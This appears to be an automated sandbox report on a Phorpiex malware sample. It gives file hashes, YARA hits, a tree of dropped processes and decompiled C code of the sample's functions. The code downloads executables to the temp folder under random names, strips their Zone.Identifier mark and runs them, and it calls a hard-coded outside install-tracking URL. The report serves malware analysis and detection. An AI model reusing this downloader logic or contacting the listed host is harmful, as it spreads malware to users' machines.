MD5:	34A341CC965E8877BCF2C7FF9170C309
SHA1:	6853E900D6E19BEC7F424FC29B39834A5A4A98A5
SHA-256:	E0DEBCE5B9D11F131B3CF0F3996723AA1B02D8135A71787F0A94F439654423C2
SHA-512:	720D9B9C705FA37AFE46D4078EB743A27B34828F68211C4D11F137945D2859B7E2AC34DA52FC89EB2455806D6DD05E17685BEDD0C525BAA1EE79E4D51982E56C
Malicious:	false
Preview:	.].:.).R;[.t.).R\r1..).RYj.:.).R_.+..).R.].&<......<....g.<....py;<...%...<.....O......y-.....^.F:.............m.............p.".......T......ks....U.K.....Q.rM......................W.............(.......q.....PP......T5.j............z.C......HZ....[b.......D......f.5............m}.q...........^.L....._ks......ppT....Y-)....Y........Z{....%........O.......(.....<.2............S..\..............o..............Fq.......[......:..............o.....[.........4.....Y.r......z......pi.............^.1.....Rr......^.L.....%..p....>.$.....[.........E......psM....................]{...............O]...._.:.....#j.......{..............w.......y.......cw......}......J@{.......U.......x....[.:...............L....Y.>.....f........":....................%......Y.>.......c......d:\.......X....N&-N....^.Ey....x......m>.........4.......%....%..V.....pa}....f.c......G.n......6F....^.LU....^.......N'.......pk........v.....pqL......m.....)a.9......Vq....R...............mJ.......p{j....

C:\Windows\ sysesvcmw.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\2550821914.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	6.402141253215905
Encrypted:	false
SSDEEP:	1536:T3Mz8M4xQ21dFtb4Jn6wfpSzSLGcmRfFN8R+eeeeeeeeWeeeee:4wMH2zbb4x6wxTLGcmRfFN8R
MD5:	90CBEADCDA0AD6D4302C36AA9FD2A53C
SHA1:	72326251A563E16EEEC31D7E1F7BED9D99563246
SHA-256:	D2B6791FB169C2C87D9FBC2846525DBBBECEF3BF112259214B1B4DA907D580EF
SHA-512:	4B24D4970896A19178B290FF35ECFD6E5DB08B74426992CDB02A0F19D792F92C6230507A376262F77375330E5D8ADEA139C072A29774E915BEDB82840E1BEE76
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\ sysesvcmw.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]b1..._..._..._.aq^..._......._......._...P..._.>.2..._...^..._.>.$..._..{.>._..{..._.Rich.._.........PE..L......d.....................j.......^............@.........................................................................d!.......................................................................................................................text...\........................... ..`.rdata...0.......2..................@..@.data....6...@...$..................@...................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.258333744893974
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gEkl9O5tiu.exe
File size:	9'728 bytes
MD5:	2ea6c5e97869622dfe70d2b34daf564e
SHA1:	45500603bf8093676b66f056924a71e04793827a
SHA256:	5f28bba8bd23cdb5c8a3fa018727bcf365eaf31c06b7bc8d3f3097a85db037f3
SHA512:	f8f82b5875e8257206561de22ddbd8b5d9a2393e0da62f57c5a429ca233c7443c34647cc2253cf766bfaaf8177acb5c0627ab2f2418f5968f0a6fdec54244d43
SSDEEP:	96:zM4LwN8GXhc1I+a8gnYFdj9DSYp+BYA8v7cVO15uJxGE9YUBz2qh3C7tCE4ecp:AwwNfC1TUYv9p+OF8JxTmUBzthcqp
TLSH:	50121A0ABDCA40B0E3A08CF057F58B4A8ABE5063179672DFB7B3C5494F5039184677E5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......gd.##.`p#.`p#.`p}.p!.`p}.p".`p}.p6.`p...p(.`p#.ap..`p}.p .`p*}.p".`pRich#.`p................PE..L......d...................

File Icon


Icon Hash:	aaf3e3e3918382a0

Static PE Info

General

Entrypoint:	0x401729
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64DCD99D [Wed Aug 16 14:13:49 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	7fda7734b056db13fe95f35927509e47

Entrypoint Preview

Instruction
call 00007FBCC0D8D06Fh
jmp 00007FBCC0D8CA2Bh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov eax, dword ptr [eax]
cmp dword ptr [eax], E06D7363h
jne 00007FBCC0D8CD1Ch
cmp dword ptr [eax+10h], 03h
jne 00007FBCC0D8CD16h
mov eax, dword ptr [eax+14h]
cmp eax, 19930520h
je 00007FBCC0D8CD07h
cmp eax, 19930521h
je 00007FBCC0D8CD00h
cmp eax, 19930522h
je 00007FBCC0D8CCF9h
cmp eax, 01994000h
jne 00007FBCC0D8CCF7h
call 00007FBCC0D8D0C4h
xor eax, eax
pop ebp
retn 0004h
push 00401733h
call dword ptr [00402000h]
xor eax, eax
ret
int3
jmp dword ptr [004020B4h]
push 00000014h
push 00402430h
call 00007FBCC0D8CF5Bh
push dword ptr [00403384h]
mov esi, dword ptr [0040206Ch]
call esi
pop ecx
mov dword ptr [ebp-1Ch], eax
cmp eax, FFFFFFFFh
jne 00007FBCC0D8CCFEh
push dword ptr [ebp+08h]
call dword ptr [00402068h]
pop ecx
jmp 00007FBCC0D8CD59h
push 00000008h
call 00007FBCC0D8D085h
pop ecx
and dword ptr [ebp-04h], 00000000h
push dword ptr [00403384h]
call esi
mov dword ptr [ebp-1Ch], eax
push dword ptr [00403380h]
call esi
pop ecx
pop ecx
mov dword ptr [ebp-20h], eax
lea eax, dword ptr [ebp-20h]
push eax
lea eax, dword ptr [ebp-1Ch]
push eax
push dword ptr [ebp+08h]
mov esi, dword ptr [00402060h]
call esi

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729
[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[IMP] VS2005 build 50727
[C++] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x246c	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5000	0x198	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x23a0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x104	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xc8a	0xe00	False	0.5789620535714286	data	5.68682135539298	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0xa34	0xc00	False	0.4261067708333333	data	4.355732762946175	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x38c	0x200	False	0.060546875	data	0.35275948821577235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x2b0	0x400	False	0.3623046875	data	5.194459669718395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5000	0x1fe	0x200	False	0.802734375	data	5.540041373249554	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4058	0x256	ASCII text, with CRLF line terminators	English	United States	0.5100334448160535

Imports

DLL	Import
SHLWAPI.dll	PathFileExistsW
MSVCR90.dll	__set_app_type, ?terminate@@YAXXZ, _unlock, _encode_pointer, _lock, _onexit, _decode_pointer, _except_handler4_common, _invoke_watson, _controlfp_s, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _configthreadlocale, _initterm_e, _initterm, _acmdln, exit, _ismbblead, _XcptFilter, _exit, _cexit, __getmainargs, _amsg_exit, srand, rand, memset, __dllonexit, _crt_debugger_hook
WININET.dll	InternetOpenA, InternetOpenUrlA, InternetOpenW, InternetOpenUrlW, InternetReadFile, InternetCloseHandle
urlmon.dll	URLDownloadToFileW
KERNEL32.dll	SetUnhandledExceptionFilter, GetStartupInfoA, GetTickCount, ExpandEnvironmentStringsW, CreateFileW, WriteFile, CloseHandle, DeleteFileW, CreateProcessW, Sleep, QueryPerformanceCounter, GetCurrentThreadId, GetCurrentProcessId, GetSystemTimeAsFileTime, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, IsDebuggerPresent, InterlockedCompareExchange, InterlockedExchange
USER32.dll	wsprintfW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Report size exceeds maximum size, go to the download page of this report and download PCAP to see all network behavior.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: gEkl9O5tiu.exePID: 1580, Parent PID: 1244

General

Target ID:	1
Start time:	14:31:28
Start date:	17/08/2023
Path:	C:\Users\user\Desktop\gEkl9O5tiu.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\gEkl9O5tiu.exe
Imagebase:	0x1090000
File size:	9'728 bytes
MD5 hash:	2EA6C5E97869622DFE70D2B34DAF564E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: 2550821914.exePID: 680, Parent PID: 1580

General

Target ID:	4
Start time:	14:31:34
Start date:	17/08/2023
Path:	C:\Users\user\AppData\Local\Temp\2550821914.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2550821914.exe
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	90CBEADCDA0AD6D4302C36AA9FD2A53C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000002.381771790.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000000.370252775.0000000000410000.00000002.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000004.00000002.381787142.00000000004D3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\2550821914.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: sysesvcmw.exePID: 1384, Parent PID: 680

General

Target ID:	5
Start time:	14:31:38
Start date:	17/08/2023
Path:	C:\Windows\ sysesvcmw.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\ sysesvcmw.exe
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	90CBEADCDA0AD6D4302C36AA9FD2A53C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000005.00000000.379469431.0000000000410000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000005.00000002.889535533.0000000000410000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\ sysesvcmw.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 87%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: sysesvcmw.exePID: 1840, Parent PID: 1244

General

Target ID:	6
Start time:	14:31:48
Start date:	17/08/2023
Path:	C:\Windows\ sysesvcmw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\ sysesvcmw.exe"
Imagebase:	0x400000
File size:	80'896 bytes
MD5 hash:	90CBEADCDA0AD6D4302C36AA9FD2A53C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000006.00000000.399820477.0000000000410000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: 00000006.00000002.409115174.0000000000410000.00000002.00000001.01000000.00000005.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: 1925824589.exePID: 1708, Parent PID: 1384

General

Target ID:	9
Start time:	14:32:51
Start date:	17/08/2023
Path:	C:\Users\user\AppData\Local\Temp\1925824589.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1925824589.exe
Imagebase:	0xea0000
File size:	17'920 bytes
MD5 hash:	4F74BC597A7FA3989EC09EEFA2A3D00A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: 150623101.exePID: 956, Parent PID: 1384

General

Target ID:	11
Start time:	14:35:24
Start date:	17/08/2023
Path:	C:\Users\user\AppData\Local\Temp\150623101.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\150623101.exe
Imagebase:	0x20000
File size:	6'656 bytes
MD5 hash:	0D539E8277F20391A31BABFF8714FDB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: 2465513676.exePID: 9636, Parent PID: 956

General

Target ID:	13
Start time:	14:35:31
Start date:	17/08/2023
Path:	C:\Users\user\AppData\Local\Temp\2465513676.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\2465513676.exe
Imagebase:	0x13f8b0000
File size:	5'689'344 bytes
MD5 hash:	41AB08C1955FCE44BFD0C76A64D1945A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 90%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: gEkl9O5tiu.exePID: 1580, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	42.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	25%
Total number of Nodes:	92
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 01091080 Relevance: 63.2, APIs: 30, Strings: 6, Instructions: 192
filenetworksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E01091080(void* __edi) {
				intOrPtr _v4;
				WCHAR* _v8;
				short _v520;
				char _v536;
				short _v1060;
				short _v1068;
				short _v1084;
				short _v1092;
				void _v1336;
				void _v1352;
				short _v1820;
				char _v1828;
				char _v1833;
				short _v1836;
				void* _v1840;
				char _v1848;
				char _v1849;
				short _v1856;
				char _v1864;
				long _v1868;
				void* _v1872;
				long _v1876;
				char _v1877;
				long _v1884;
				signed int _t53;
				signed int _t55;
				void* _t59;
				int _t60;
				signed int _t61;
				signed int _t63;
				signed int _t65;
				void* _t73;
				void* _t75;
				int _t78;
				char _t84;
				long _t85;
				int _t88;
				void* _t120;
				void* _t123;
				void* _t125;
				short* _t129;

				srand(GetTickCount());
				_v1833 = 0;
				ExpandEnvironmentStringsW(L"%temp%",  &_v520, 0x104);
				_t53 = rand();
				asm("cdq");
				_t55 = rand();
				asm("cdq");
				wsprintfW( &_v1820, L"%s\\%d%d.exe",  &_v520, _t55 % 0x7fff + 0x3e8, _t53 % 0x7fff + 0x3e8);
				_t129 =  &(( &_v1836)[0xc]);
				_t59 = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", 0, 0, 0, 0); // executed
				_t125 = _t59;
				_v1840 = _t125;
				if(_t125 == 0) {
					L10:
					_t60 = InternetCloseHandle(_t125);
					Sleep(0x3e8);
					if(_v1849 != 0) {
						L13:
						return _t60;
					}
					_t61 = rand();
					asm("cdq");
					Sleep(_t61 % 0xea60 + 0x2710);
					_t63 = rand();
					asm("cdq");
					_t65 = rand();
					asm("cdq");
					_t60 = wsprintfW( &_v1836, L"%s\\%d%d.exe",  &_v536, _t65 % 0x7fff + 0x3e8, _t63 % 0x7fff + 0x3e8);
					_push(0);
					_push(0);
					_push( &_v1828);
					_push(_v4);
					_push(0);
					L01091C84();
					if(_t60 != 0) {
						goto L13;
					}
					wsprintfW( &_v1068, L"%s:Zone.Identifier",  &_v1848);
					DeleteFileW( &_v1060);
					Sleep(0x3e8);
					return E01091000( &_v1840);
				}
				_t73 = InternetOpenUrlW(_t125, _v8, 0, 0, 0, 0); // executed
				_t120 = _t73;
				if(_t120 == 0) {
					L9:
					InternetCloseHandle(_t120); // executed
					goto L10;
				}
				_t75 = CreateFileW( &_v1856, 0x40000000, 0, 0, 2, 0, 0); // executed
				_t123 = _t75;
				if(_t123 == 0xffffffff) {
					L8:
					CloseHandle(_t123); // executed
					goto L9;
				}
				_t78 = InternetReadFile(_t120,  &_v1336, 0x103,  &_v1868); // executed
				if(_t78 == 0) {
					L6:
					CloseHandle(_t123);
					Sleep(0x3e8); // executed
					wsprintfW( &_v1092, L"%s:Zone.Identifier",  &_v1872);
					DeleteFileW( &_v1084);
					Sleep(0x3e8);
					_t84 = E01091000( &_v1864);
					_t125 = _v1872;
					_t129 =  &(_t129[8]);
					if(_t84 == 1) {
						_v1877 = _t84;
					}
					goto L8;
				} else {
					goto L4;
				}
				while(1) {
					L4:
					_t85 = _v1884;
					if(_t85 == 0) {
						goto L6;
					}
					WriteFile(_t123,  &_v1352, _t85,  &_v1876, 0); // executed
					_t88 = InternetReadFile(_t120,  &_v1352, 0x103,  &_v1884); // executed
					if(_t88 != 0) {
						continue;
					}
					goto L6;
				}
				goto L6;
			}

0x01091090
0x010910aa
0x010910af
0x010910b5
0x010910ba
0x010910c9
0x010910ce
0x010910f5
0x010910f7
0x01091107
0x01091113
0x01091115
0x0109111b
0x0109122b
0x0109122c
0x01091237
0x0109123e
0x010912f7
0x010912f7
0x010912f7
0x01091244
0x01091249
0x01091258
0x0109125a
0x0109125f
0x0109126e
0x01091273
0x01091294
0x010912a0
0x010912a2
0x010912a8
0x010912a9
0x010912aa
0x010912ac
0x010912b3
0x00000000
0x00000000
0x010912c7
0x010912d4
0x010912df
0x00000000
0x010912eb
0x01091133
0x01091139
0x0109113d
0x01091223
0x01091224
0x00000000
0x0109122a
0x01091157
0x0109115d
0x01091162
0x01091216
0x01091217
0x00000000
0x0109121d
0x01091181
0x01091185
0x010911bf
0x010911c0
0x010911cb
0x010911df
0x010911f0
0x010911fb
0x01091202
0x01091207
0x0109120b
0x01091210
0x01091212
0x01091212
0x00000000
0x00000000
0x00000000
0x00000000
0x01091187
0x01091187
0x01091187
0x0109118d
0x00000000
0x00000000
0x010911a0
0x010911b9
0x010911bd
0x00000000
0x00000000
0x00000000
0x010911bd
0x00000000

APIs

GetTickCount.KERNEL32 ref: 01091089
srand.MSVCR90 ref: 01091090
ExpandEnvironmentStringsW.KERNEL32 ref: 010910AF
rand.MSVCR90 ref: 010910B5
rand.MSVCR90 ref: 010910C9
wsprintfW.USER32 ref: 010910F5
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36,00000000,00000000,00000000,00000000), ref: 01091107
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 01091133
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 01091157
InternetReadFile.WININET(00000000,?,00000103,?), ref: 01091181
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 010911A0
InternetReadFile.WININET(00000000,?,00000103,?), ref: 010911B9
CloseHandle.KERNEL32(00000000), ref: 010911C0
Sleep.KERNEL32(000003E8,?,?,?,%temp%,?,00000104), ref: 010911CB
wsprintfW.USER32 ref: 010911DF
DeleteFileW.KERNEL32(?,?,?,?,?,?,%temp%,?,00000104), ref: 010911F0
Sleep.KERNEL32(000003E8,?,?,?,?,?,%temp%,?,00000104), ref: 010911FB
CloseHandle.KERNEL32(00000000), ref: 01091217
InternetCloseHandle.WININET(00000000), ref: 01091224
InternetCloseHandle.WININET(00000000), ref: 0109122C
Sleep.KERNEL32(000003E8,?,?,%temp%,?,00000104), ref: 01091237
rand.MSVCR90 ref: 01091244
Sleep.KERNEL32 ref: 01091258
rand.MSVCR90 ref: 0109125A
rand.MSVCR90 ref: 0109126E
wsprintfW.USER32 ref: 01091294
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 010912AC
wsprintfW.USER32 ref: 010912C7
DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,%temp%,?,00000104), ref: 010912D4
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,%temp%,?,00000104), ref: 010912DF

Strings

%s:Zone.Identifier, xrefs: 010911D9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36, xrefs: 01091102
%temp%, xrefs: 010910A5
%s\%d%d.exe, xrefs: 010910EF
%s\%d%d.exe, xrefs: 0109128E
%s:Zone.Identifier, xrefs: 010912C1

Memory Dump Source

Source File: 00000001.00000002.379745424.0000000001091000.00000020.00000001.01000000.00000003.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.379706425.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379751346.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379756642.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_gEkl9O5tiu.jbxd

Similarity

API ID: File$Internet$Sleeprand$CloseHandlewsprintf$DeleteOpenRead$CountCreateDownloadEnvironmentExpandStringsTickWritesrand
String ID: %s:Zone.Identifier$%s:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
API String ID: 1709977946-1161929716
Opcode ID: 87f04645411bd8907e684f4e8f9a9ec9ea56a17b6e4c8fda6d6f1f4d619f8815
Instruction ID: 2ceddd9cf98540f136d6c739c244cd2d8fe26842cf5c10a68b5d9f8423f758b6
Opcode Fuzzy Hash: 87f04645411bd8907e684f4e8f9a9ec9ea56a17b6e4c8fda6d6f1f4d619f8815
Instruction Fuzzy Hash: B45118B1648301BBE730E764DC96FAF33ADABC8710F00091DF6C5960C1DAB8A604D7A6

Uniqueness

Uniqueness Score: -1.00%

Function 01091300 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 36
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E01091300() {
				void* _t1;
				void* _t3;
				void* _t9;

				_t1 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36", 0, 0, 0, 0); // executed
				_t9 = _t1;
				if(_t9 != 0) {
					_t3 = InternetOpenUrlA(_t9, "http://twizt.net/peinstall.php", 0, 0, 0, 0); // executed
					Sleep(0x3e8); // executed
					InternetCloseHandle(_t3); // executed
				}
				Sleep(0x3e8); // executed
				return InternetCloseHandle(_t9);
			}

0x01091310
0x01091322
0x01091326
0x01091337
0x01091344
0x01091347
0x01091349
0x0109134f
0x01091357

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36,00000000,00000000,00000000,00000000), ref: 01091310
InternetOpenUrlA.WININET(00000000,http://twizt.net/peinstall.php,00000000,00000000,00000000,00000000), ref: 01091337
Sleep.KERNEL32(000003E8), ref: 01091344
InternetCloseHandle.WININET(00000000), ref: 01091347
Sleep.KERNEL32(000003E8), ref: 0109134F
InternetCloseHandle.WININET(00000000), ref: 01091352

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36, xrefs: 0109130B
http://twizt.net/peinstall.php, xrefs: 01091331

Memory Dump Source

Source File: 00000001.00000002.379745424.0000000001091000.00000020.00000001.01000000.00000003.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.379706425.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379751346.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379756642.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_gEkl9O5tiu.jbxd

Similarity

API ID: Internet$CloseHandleOpenSleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36$http://twizt.net/peinstall.php
API String ID: 256278798-2653881570
Opcode ID: a0a42b107129a2654b347cdf8eca3c5c2e3af77caeeb7336c0cb1e823a9292c9
Instruction ID: d6e20309f7cb0e1ca0fb8f5dcff67b7279bf29e88cb4eca0e820d7e688e2340e
Opcode Fuzzy Hash: a0a42b107129a2654b347cdf8eca3c5c2e3af77caeeb7336c0cb1e823a9292c9
Instruction Fuzzy Hash: 2BF092317C231477F23223659D9BF6E3B59EBC6F91F214141F7413E1C58E96A800926D

Uniqueness

Uniqueness Score: -1.00%

Function 01091360 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E01091360() {
				short _v520;
				short _v1032;
				short _v1040;
				int _t9;
				void* _t10;

				ExpandEnvironmentStringsW(L"%temp%",  &_v520, 0x104);
				wsprintfW( &_v1040, L"%s\\33573537.jpg",  &_v520);
				_t9 = PathFileExistsW( &(( &_v1040)[6])); // executed
				if(_t9 == 0) {
					_t10 = CreateFileW( &_v1032, 0x40000000, 0, 0, 1, 2, 0); // executed
					if(_t10 != 0xffffffff) {
						CloseHandle(_t10); // executed
					}
					return 1;
				} else {
					return 0;
				}
			}

0x01091378
0x01091390
0x0109139d
0x010913a5
0x010913c4
0x010913cd
0x010913d0
0x010913d0
0x010913de
0x010913a7
0x010913af
0x010913af

APIs

ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000104), ref: 01091378
wsprintfW.USER32 ref: 01091390
PathFileExistsW.SHLWAPI(00000000), ref: 0109139D
CreateFileW.KERNEL32(40000000,40000000,00000000,00000000,00000001,00000002,00000000), ref: 010913C4
CloseHandle.KERNEL32(00000000), ref: 010913D0

Strings

%temp%, xrefs: 01091373
%s\33573537.jpg, xrefs: 0109138A

Memory Dump Source

Source File: 00000001.00000002.379745424.0000000001091000.00000020.00000001.01000000.00000003.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.379706425.0000000001090000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379751346.0000000001092000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.379756642.0000000001094000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_gEkl9O5tiu.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
